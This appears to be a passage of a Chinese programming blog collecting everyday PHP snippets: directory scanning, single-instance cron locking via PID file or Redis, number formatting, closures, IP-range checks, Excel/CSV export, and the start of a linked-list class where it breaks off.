<h3 id="非递归实现查询该目录下所有文件"><a href="#非递归实现查询该目录下所有文件" class="headerlink" title="非递归实现查询该目录下所有文件"></a>非递归实现查询该目录下所有文件</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * PHP 非递归实现查询该目录下所有文件</span></span><br><span class="line"><span class="comment"> * @param unknown $dir</span></span><br><span class="line"><span class="comment"> * @return multitype:|multitype:string</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">scanfiles</span>(<span class="params">$dir</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (! is_dir ( $dir )) <span class="keyword">return</span> array ();</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 兼容各操作系统</span></span><br><span class="line">    $dir = rtrim ( str_replace ( <span class="string">'\\'</span>, <span class="string">'/'</span>, $dir ), <span class="string">'/'</span> ) . <span class="string">'/'</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 栈，默认值为传入的目录</span></span><br><span class="line">    $dirs = array ( $dir );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 放置所有文件的容器</span></span><br><span class="line">    $rt = array ();</span><br><span class="line">    <span class="keyword">do</span> &#123;</span><br><span class="line">        <span class="comment">// 弹栈</span></span><br><span class="line">        $dir = array_pop ( $dirs );</span><br><span class="line">        <span class="comment">// 扫描该目录</span></span><br><span class="line">        $tmp = scandir ( $dir );</span><br><span class="line">        foreach ( $tmp <span class="keyword">as</span> $f ) &#123;</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 过滤. ..</span></span><br><span class="line">            <span class="keyword">if</span> ($f == <span class="string">'.'</span> || $f == <span class="string">'..'</span>)</span><br><span class="line">                <span class="keyword">continue</span>;</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 组合当前绝对路径</span></span><br><span class="line">            $path = $dir . $f;</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 如果是目录，压栈。</span></span><br><span class="line">            <span class="keyword">if</span> (is_dir ( $path )) &#123;</span><br><span class="line">                array_push ( $dirs, $path . <span class="string">'/'</span> );</span><br><span class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> (is_file ( $path )) &#123; <span class="comment">// 如果是文件，放入容器中</span></span><br><span class="line">                $rt [] = $path;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">while</span> ( $dirs ); <span class="comment">// 直到栈中没有目录</span></span><br><span class="line">    <span class="keyword">return</span> $rt;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="单例cron"><a href="#单例cron" class="headerlink" title="单例cron"></a>单例cron</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line">同时消费队列的进程不得超过<span class="number">1</span>个</span><br><span class="line">public <span class="function"><span class="keyword">function</span> <span class="title">index</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $pid     = getmypid();</span><br><span class="line">        $pidFile = self::PID_FILE;</span><br><span class="line">        <span class="keyword">if</span> (file_exists($pidFile)) &#123;</span><br><span class="line">            $pid    = file_get_contents($pidFile);</span><br><span class="line">            $output = shell_exec(<span class="string">"ps aux | grep -v grep | grep &#123;$pid&#125; | grep php | grep index_prod | grep balabala"</span>);</span><br><span class="line">            <span class="keyword">if</span> (!empty($output)) &#123;</span><br><span class="line">                exit(<span class="number">0</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        file_put_contents($pidFile, $pid);</span><br><span class="line">        <span class="keyword">for</span> ($i = <span class="number">0</span>; $i &lt; <span class="number">100000</span>; $i++) &#123;</span><br><span class="line">            <span class="comment">// bla bla</span></span><br><span class="line">        &#125;</span><br><span class="line">        unlink($pidFile);</span><br><span class="line">    &#125;</span><br><span class="line">     public <span class="function"><span class="keyword">function</span> <span class="title">index</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">            <span class="keyword">if</span> ($<span class="keyword">this</span>-&gt;redis-&gt;exists(self::PID_KEY)) &#123;</span><br><span class="line">                retry_loop:$pid    = $<span class="keyword">this</span>-&gt;redis-&gt;get(self::PID_KEY);</span><br><span class="line">                $output = shell_exec(<span class="string">"ps aux | grep -v grep | grep &#123;$pid&#125; | grep php | grep index_prod | grep AsyncBatchMemberImport"</span>);</span><br><span class="line">                <span class="keyword">if</span> (!empty($output)) &#123;</span><br><span class="line">                    exit(<span class="number">0</span>);</span><br><span class="line">                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                    $<span class="keyword">this</span>-&gt;redis-&gt;del(self::PID_KEY);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            $ret = $<span class="keyword">this</span>-&gt;redis-&gt;set(self::PID_KEY, getmypid(), array(<span class="string">'nx'</span>));</span><br><span class="line">            <span class="keyword">if</span> (<span class="literal">false</span> === $ret) &#123;</span><br><span class="line">                goto retry_loop;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">for</span> ($i = <span class="number">0</span>; $i &lt; <span class="number">100000</span>; $i++) &#123;</span><br><span class="line">                <span class="comment">// bla bla</span></span><br><span class="line">            &#125;</span><br><span class="line">            $<span class="keyword">this</span>-&gt;redis-&gt;del(self::PID_KEY);</span><br><span class="line">        &#125;</span><br><span class="line">        php.ini中disable_functions包含了这个函数 getmypid返回的结果是<span class="literal">null</span></span><br><span class="line">        php script.php <span class="string">`cat /dev/urandom | head -n 10 | md5sum | head -c 10`</span></span><br><span class="line">cat /dev/urandom | head -n <span class="number">10</span> | md5sum | head -c <span class="number">10</span> 返回随机数 https:<span class="comment">//blog.jiaojie.site/_posts/2017/12/13/another-cron-pid/</span></span><br><span class="line">  public <span class="function"><span class="keyword">function</span> <span class="title">index</span>(<span class="params">$uniqueId = <span class="number">0</span></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;uniqueId = $uniqueId;</span><br><span class="line">        <span class="keyword">if</span> ($<span class="keyword">this</span>-&gt;redis-&gt;exists(self::PID_KEY)) &#123;</span><br><span class="line">            $pid = $<span class="keyword">this</span>-&gt;redis-&gt;get(self::PID_KEY);</span><br><span class="line">            log_warning(<span class="string">'ERP_IMPORT_ASYNC_INFO'</span>, <span class="string">"UniqueId &#123;$pid&#125; Still RUNNING"</span>);</span><br><span class="line">            exit(<span class="number">0</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        $ret = $<span class="keyword">this</span>-&gt;redis-&gt;set(self::PID_KEY, $uniqueId, array(<span class="string">'nx'</span>));</span><br><span class="line">        <span class="keyword">if</span> (<span class="literal">false</span> === $ret) &#123;</span><br><span class="line">            log_warning(<span class="string">'ERP_IMPORT_ASYNC_INFO'</span>, <span class="string">"Set PID FAILED, WILL RETRY, Current PID "</span> . $uniqueId);</span><br><span class="line">            exit(<span class="number">0</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;redis-&gt;expire(self::PID_KEY, <span class="number">360</span>);</span><br><span class="line">        <span class="keyword">for</span> ($i = <span class="number">0</span>; $i &lt; <span class="number">1000</span>; $i++) &#123;</span><br><span class="line">            <span class="comment">// bla bla</span></span><br><span class="line">        &#125;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;redis-&gt;del(self::PID_KEY);</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure>
<h3 id="每三位加个逗号分割"><a href="#每三位加个逗号分割" class="headerlink" title="每三位加个逗号分割"></a>每三位加个逗号分割</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">$input = <span class="string">"12345678"</span>;</span><br><span class="line"></span><br><span class="line">$regex = <span class="string">"#^(?&lt;first&gt;([0-9]&#123;1,3&#125;)??)(?&lt;others&gt;([0-9]&#123;3&#125;)*)$#"</span>;</span><br><span class="line"></span><br><span class="line">$callback = <span class="function"><span class="keyword">function</span>(<span class="params">$match</span>) </span>&#123;</span><br><span class="line">    $arr = str_split($match[<span class="string">"others"</span>], <span class="number">3</span>);</span><br><span class="line">    <span class="keyword">return</span> empty($match[<span class="string">"first"</span>]) ? (implode(<span class="string">","</span>, $arr)) : (<span class="string">""</span> . $match[<span class="string">"first"</span>] . <span class="string">","</span> . implode(<span class="string">","</span>, $arr));</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">$output = preg_replace_callback($regex, $callback, $input);<span class="comment">//12,345,678</span></span><br></pre></td></tr></table></figure>
<h3 id="Fibonacci数列"><a href="#Fibonacci数列" class="headerlink" title="Fibonacci数列"></a>Fibonacci数列</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">$fib = <span class="function"><span class="keyword">function</span>(<span class="params">$n</span>)<span class="title">use</span>(<span class="params">&amp;$fib</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">if</span>($n == <span class="number">0</span> || $n == <span class="number">1</span>) <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">return</span> $fib($n - <span class="number">1</span>) + $fib($n - <span class="number">2</span>);</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">echo $fib(<span class="number">10</span>);</span><br><span class="line">php的匿名函数中，如果use一个基本数据类型（非对象）的时候，传递的是当时此数据的快照；而use一个对象的时候，与函数参数中传递该对象相同，都是引用</span><br><span class="line">https:<span class="comment">//blog.jiaojie.site/_posts/2017/07/25/the-word-use-in-php-closure/</span></span><br><span class="line">$aaa = <span class="number">111</span>;</span><br><span class="line">$func = <span class="function"><span class="keyword">function</span>(<span class="params"></span>) <span class="title">use</span>(<span class="params">$aaa</span>)</span>&#123; print $aaa; &#125;;</span><br><span class="line">$aaa = <span class="number">222</span>;</span><br><span class="line">$func(); <span class="comment">// Outputs "111"</span></span><br><span class="line"></span><br><span class="line">$aaa = <span class="number">111</span>;</span><br><span class="line">$func = <span class="function"><span class="keyword">function</span>(<span class="params"></span>) <span class="title">use</span>(<span class="params">&amp;$aaa</span>)</span>&#123; print $aaa; &#125;;</span><br><span class="line">$aaa = <span class="number">222</span>;</span><br><span class="line">$func(); <span class="comment">// Outputs "222"</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Foo</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line"></span><br><span class="line">    public $foo = <span class="string">'default'</span>;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$foo = <span class="keyword">new</span> Foo;</span><br><span class="line"></span><br><span class="line">$func = <span class="function"><span class="keyword">function</span>(<span class="params"></span>) <span class="title">use</span> (<span class="params">$foo</span>) </span>&#123;</span><br><span class="line">    echo $foo-&gt;foo . <span class="string">"\n"</span>;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">$foo-&gt;foo = <span class="string">'changable'</span>;</span><br><span class="line">$func();<span class="comment">// 输出 "changable"</span></span><br></pre></td></tr></table></figure>
<h3 id="验证日期非HTML字符"><a href="#验证日期非HTML字符" class="headerlink" title="验证日期非HTML字符"></a>验证日期非HTML字符</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">date(<span class="string">'Y-m-d'</span>,strtotime(<span class="string">'2019-09-09'</span>))==<span class="string">'2019-09-09'</span></span><br><span class="line"><span class="keyword">if</span> ($content == strip_tags($content))&#123;<span class="comment">//没有HTML标签</span></span><br><span class="line">            <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        &#125;</span><br></pre></td></tr></table></figure>
<h3 id="ip限制"><a href="#ip限制" class="headerlink" title="ip限制"></a>ip限制</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">ipLimit</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">  $meip = ip2long($_SERVER[<span class="string">'REMOTE_ADDR'</span>]);</span><br><span class="line">  $ip_lib= array(<span class="string">'10.0.0.0-10.255.255.255'</span>);</span><br><span class="line">  <span class="keyword">for</span>($i=<span class="number">0</span>;$i&lt;count($ip_lib);$i++)&#123;</span><br><span class="line">    list($sip,$eip) = explode(<span class="string">'-'</span>,$ip_lib[$i]);</span><br><span class="line">    $sip = ip2long(trim($sip));</span><br><span class="line">    $eip = ip2long(trim($eip));</span><br><span class="line">    <span class="keyword">if</span>($meip &lt;= $sip || $meip &gt;= $eip)&#123;</span><br><span class="line">      header(<span class="string">"Location:http://sina.com.cn/"</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="PHP-导出-Excel"><a href="#PHP-导出-Excel" class="headerlink" title="PHP 导出 Excel"></a>PHP 导出 Excel</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**\</span></span><br><span class="line"><span class="comment">* 导出Excel文件 速度慢</span></span><br><span class="line"><span class="comment">* @param $fileName 导出的文件名</span></span><br><span class="line"><span class="comment">* @param $headArr 数据头</span></span><br><span class="line"><span class="comment">* @param $data 导出数据</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getExcel</span>(<span class="params">$fileName,$headArr,$data</span>)</span>&#123;</span><br><span class="line">  <span class="comment">//设置PHP最大单线程的独立内存使用量</span></span><br><span class="line">  ini_set(<span class="string">'memory_limit'</span>,<span class="string">'1024M'</span>);</span><br><span class="line">  <span class="comment">//程序超时设置设为不限时</span></span><br><span class="line">  ini_set(<span class="string">'max_execution_time '</span>,<span class="string">'0'</span>);</span><br><span class="line"></span><br><span class="line">  <span class="comment">//导入PHPExcel类库，因为PHPExcel没有用命名空间，所以使用vendor导入</span></span><br><span class="line">  vendor(<span class="string">"PHPExcel.PHPExcel.IOFactory"</span>);</span><br><span class="line">  vendor(<span class="string">"Excel.PHPExcel"</span>);</span><br><span class="line">  vendor(<span class="string">"Excel.PHPExcel.Writer.Excel5"</span>);</span><br><span class="line">  vendor(<span class="string">"Excel.PHPExcel.IOFactory.php"</span>);</span><br><span class="line"></span><br><span class="line">  <span class="comment">//对数据进行检验</span></span><br><span class="line">  <span class="keyword">if</span>(empty($data) || !is_array($data))&#123;</span><br><span class="line">      die(<span class="string">"data must be a array"</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">//检查文件名</span></span><br><span class="line">  <span class="keyword">if</span>(empty($fileName))&#123;</span><br><span class="line">      exit;</span><br><span class="line">  &#125;</span><br><span class="line">  $date = date(<span class="string">"Y_m_d"</span>,time());</span><br><span class="line">  $fileName .= <span class="string">"_&#123;$date&#125;.xls"</span>;</span><br><span class="line">  <span class="comment">//创建PHPExcel对象</span></span><br><span class="line">  $objPHPExcel = <span class="keyword">new</span> \PHPExcel();</span><br><span class="line"></span><br><span class="line">  <span class="comment">//设置表头</span></span><br><span class="line">  $key = ord(<span class="string">"A"</span>);</span><br><span class="line">  foreach($headArr <span class="keyword">as</span> $hkey =&gt; $v)&#123;</span><br><span class="line">      $colum = chr($key);</span><br><span class="line">      $objPHPExcel-&gt;setActiveSheetIndex(<span class="number">0</span>) -&gt;setCellValue($colum.<span class="string">'1'</span>, $v);</span><br><span class="line">      $key += <span class="number">1</span>;</span><br><span class="line">      unset($headArr[$hkey]);</span><br><span class="line">  &#125;</span><br><span class="line">  $column = <span class="number">2</span>;</span><br><span class="line">  $objActSheet = $objPHPExcel-&gt;getActiveSheet();</span><br><span class="line">  foreach($data <span class="keyword">as</span> $key =&gt; $rows)&#123; <span class="comment">//行写入</span></span><br><span class="line">      $span = ord(<span class="string">"A"</span>);</span><br><span class="line">      foreach($rows <span class="keyword">as</span> $keyName=&gt;$value)&#123;<span class="comment">// 列写入</span></span><br><span class="line">          $j = chr($span);</span><br><span class="line">          <span class="comment">//设置导出单元格格式为文本，避免身份证号的数据被Excel改写</span></span><br><span class="line">          $objActSheet-&gt;setCellValueExplicit($j.$column, $value);</span><br><span class="line">          $span++;</span><br><span class="line">          unset($rows[$keyName]);</span><br><span class="line">      &#125;</span><br><span class="line">      $column++;</span><br><span class="line">      unset($data[$key]);</span><br><span class="line">  &#125;</span><br><span class="line">  $fileName = iconv(<span class="string">"utf-8"</span>, <span class="string">"gb2312"</span>, $fileName);</span><br><span class="line">  <span class="comment">//重命名表</span></span><br><span class="line">  <span class="comment">// $objPHPExcel-&gt;getActiveSheet()-&gt;setTitle('test');</span></span><br><span class="line">  <span class="comment">//设置活动单指数到第一个表,所以Excel打开这是第一个表</span></span><br><span class="line">  $objPHPExcel-&gt;setActiveSheetIndex(<span class="number">0</span>);</span><br><span class="line">  ob_end_clean();</span><br><span class="line">  ob_start();</span><br><span class="line">  header(<span class="string">'Content-Type: application/vnd.ms-excel'</span>);<span class="comment">//定义输出的文件类型为excel文件</span></span><br><span class="line">  header(<span class="string">"Content-Disposition: attachment;filename=\"$fileName\""</span>);<span class="comment">//定义输出的文件名</span></span><br><span class="line">  header(<span class="string">'Cache-Control: max-age=0'</span>);<span class="comment">//强制每次请求直接发送给源服务器，而不经过本地缓存版本的校验。</span></span><br><span class="line">  $objWriter = \PHPExcel_IOFactory::createWriter($objPHPExcel, <span class="string">'Excel2007'</span>);</span><br><span class="line">  $objWriter-&gt;save(<span class="string">'php://output'</span>); <span class="comment">//文件通过浏览器下载</span></span><br><span class="line">  exit;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line">表数据限制：</span><br><span class="line"></span><br><span class="line">Excel <span class="number">2003</span> 及以下的版本。一张表最大支持 <span class="number">65536</span> 行数据，<span class="number">256</span> 列。</span><br><span class="line"></span><br><span class="line">Excel <span class="number">2007</span><span class="number">-2010</span> 版本。一张表最大支持 <span class="number">1048576</span> 行，<span class="number">16384</span> 列。</span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 导出CSV数据处理</span></span><br><span class="line"><span class="comment">     * 待优化项：如果导出数据达到百万以上，需要做分批导出CSV文件再添加到压缩文件统一打包下载</span></span><br><span class="line"><span class="comment">     * @desc 数据导出到csv(csv文件)</span></span><br><span class="line"><span class="comment">     * @param string $filename 文件名称</span></span><br><span class="line"><span class="comment">     * @param array $tileArray 所有列名称</span></span><br><span class="line"><span class="comment">     * @param array $dataArray 所有列数据</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">exportToCsv</span>(<span class="params">$filename, $tileArray=array(</span>), <span class="title">$dataArray</span>=<span class="title">array</span>(<span class="params"></span>))</span>&#123;</span><br><span class="line">        <span class="comment">//设置PHP最大单线程的独立内存使用量</span></span><br><span class="line">        ini_set(<span class="string">'memory_limit'</span>,<span class="string">'1024M'</span>);</span><br><span class="line">        <span class="comment">//程序超时设置设为不限时</span></span><br><span class="line">        ini_set(<span class="string">'max_execution_time '</span>,<span class="string">'0'</span>);</span><br><span class="line">        ob_end_clean();</span><br><span class="line">        ob_start();</span><br><span class="line">        header(<span class="string">"Content-Type: text/csv"</span>);</span><br><span class="line">        $filename .= date(<span class="string">"Y-m-d"</span>).<span class="string">".csv"</span>;</span><br><span class="line">        header(<span class="string">"Content-Disposition:filename="</span>.$filename);</span><br><span class="line">        $fp=fopen(<span class="string">'php://output'</span>,<span class="string">'w'</span>);</span><br><span class="line">        fwrite($fp, chr(<span class="number">0xEF</span>).chr(<span class="number">0xBB</span>).chr(<span class="number">0xBF</span>));<span class="comment">//转码 防止乱码</span></span><br><span class="line">        fputcsv($fp,$tileArray);</span><br><span class="line">        $index = <span class="number">0</span>;</span><br><span class="line">        foreach ($dataArray <span class="keyword">as</span> $item) &#123;</span><br><span class="line">            <span class="keyword">if</span>($index==<span class="number">1000</span>)&#123;</span><br><span class="line">                $index=<span class="number">0</span>;</span><br><span class="line">                ob_flush();</span><br><span class="line">                flush();</span><br><span class="line">            &#125;</span><br><span class="line">            $index++;</span><br><span class="line">            fputcsv($fp,$item);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        ob_flush();</span><br><span class="line">        flush();</span><br><span class="line">        ob_end_clean();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">exportexcel</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">          $sqlWhere = session(<span class="string">'H5OPERATIONLOG_TIME_WHERE'</span>);</span><br><span class="line">          $data = M(self::T_TABLE)-&gt;where(<span class="string">'create_time'</span>.$sqlWhere)-&gt;select();</span><br><span class="line">          foreach ($data <span class="keyword">as</span> $key =&gt; $row) &#123;</span><br><span class="line">              $data[$key][<span class="string">'create_time'</span>] = $row[<span class="string">'create_time'</span>].<span class="string">"\t"</span>;<span class="comment">//加"\t"形成文本格式，原样输出</span></span><br><span class="line">          &#125;</span><br><span class="line">         $filename=<span class="string">"XXXXX"</span>;<span class="comment">//导出文件名</span></span><br><span class="line">         $headArr=array(<span class="string">"XXX"</span>,<span class="string">"XXX1"</span>,<span class="string">"XXX2"</span>);<span class="comment">//数据头</span></span><br><span class="line">         exportToCsv($filename,$headArr,$data);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    &lt;td&gt;&lt;a href="你的exportexcel访问路径"&gt;&lt;input type="button" value="导出Excel"&gt;&lt;/input&gt;&lt;/a&gt;&lt;/td&gt;</span><br><span class="line">    当您打开一个文本文件、 CSV 文件和文件的前两个字符是大写字母 <span class="string">"I"</span>，<span class="string">"D"</span> 时，会发生此问题。https:<span class="comment">//learnku.com/articles/32164</span></span><br></pre></td></tr></table></figure>
<h3 id="使用双向链表"><a href="#使用双向链表" class="headerlink" title="使用双向链表"></a>使用双向链表</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MyList</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="comment">/** @var Node $head */</span></span><br><span class="line">    public $head;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/** @var Node $tail */</span></span><br><span class="line">    public $tail;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    